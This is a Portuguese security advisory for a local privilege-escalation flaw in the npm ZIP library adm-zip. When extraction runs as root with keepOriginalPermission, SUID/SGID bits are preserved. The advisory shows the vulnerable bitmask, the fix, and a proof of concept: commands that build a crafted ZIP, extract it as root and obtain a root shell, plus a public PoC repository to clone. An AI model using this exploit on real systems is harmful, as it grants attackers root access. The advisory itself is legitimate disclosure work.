
CVE-2026-102282: Escalação de Privilégios Local via preservação de SUID/SGID durante extração de arquivos
O adm-zip é uma biblioteca de arquivos ZIP consolidada, escrita em JavaScript puro para Node.js, com mais de 20 milhões de downloads semanais em todo o ecossistema npm. É amplamente integrada em pipelines de CI/CD, fluxos de trabalho de construção de containers, ferramentas de implantação em nuvem e aplicações do lado do servidor para lidar com compressão e extração de arquivos.
Durante a extração, o adm-zip suporta uma opção de configuração keepOriginalPermission, destinada a restaurar as permissões POSIX registradas no arquivo. No entanto, a biblioteca não filtrou os bits de modo de arquivo Unix especiais que carregam privilégios: SUID (S_ISUID, 0o4000), SGID (S_ISGID, 0o2000) e o sticky bit (S_ISVTX, 0o1000).
Quando uma aplicação extrai um arquivo ZIP não confiável com keepOriginalPermission = true enquanto é executada com privilégios elevados (como um runner de CI com nível de root, entrypoint de container Docker ou daemon de tarefas de backend), o adm-zip aplica os bits SUID/SGID especificados pelo atacante no disco através de fs.chmodSync(). Isso cria um executável SUID pertencente ao root no sistema de arquivos do host, permitindo que um usuário local sem privilégios execute o binário e obtenha privilégios de root imediatamente.
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1Na especificação do formato ZIP PKWARE, as permissões de arquivo Unix são armazenadas no campo de 32 bits external file attributes do Central Directory Header (bytes 38-41). Em arquivos compatíveis com Unix, os 16 bits superiores codificam o tipo de arquivo e o modo de permissão POSIX de 12 bits (0o7777).
Nas versões <= 0.6.0, o arquivo headers/entryHeader.js usava uma máscara de bits de 12 bits (0xfff):
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
A máscara de bits 0xfff (binário 1111 1111 1111) extrai todos os 12 bits inferiores, preservando não apenas as permissões padrão de leitura/escrita/execução (0o777), mas também os bits de permissão especiais 0o4000 (SUID), 0o2000 (SGID) e 0o1000 (Sticky).
Na versão 0.6.1, a máscara foi limitada a 0o777 (511 em decimal), removendo todos os bits de privilégio especial:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
O problema é acionado quando keepOriginalPermission está habilitado durante a extração:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
Em util/utils.js, o atributo extraído era passado diretamente para o sistema de arquivos sem validação:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Quando o processo de extração é executado como root (euid 0) em um sistema de arquivos montado sem nosuid, o fs.chmodSync() define as permissões do arquivo extraído para o modo 0o4755 (-rwsr-xr-x) pertencente a root:root.
[email protected])Criação do arquivo e extração privilegiada:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
Execução por um usuário local sem privilégios (uid=1000):
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
Quando arquivos ZIP não confiáveis são processados com privilégios elevados — como agentes de build automatizados, ambientes de hospedagem compartilhada, rotinas de inicialização de containers serverless e frameworks de instalação de plugins — um usuário sem privilégios pode fornecer um arquivo manipulado para plantar um binário SUID arbitrário pertencente ao root, levando à Escalação de Privilégios Local (LPE) e execução de código arbitrário como root.
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
Nota: O diretório de extração de destino deve residir em um sistema de arquivos montado sem nosuid.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Pontuação Base 7.1)0.6.1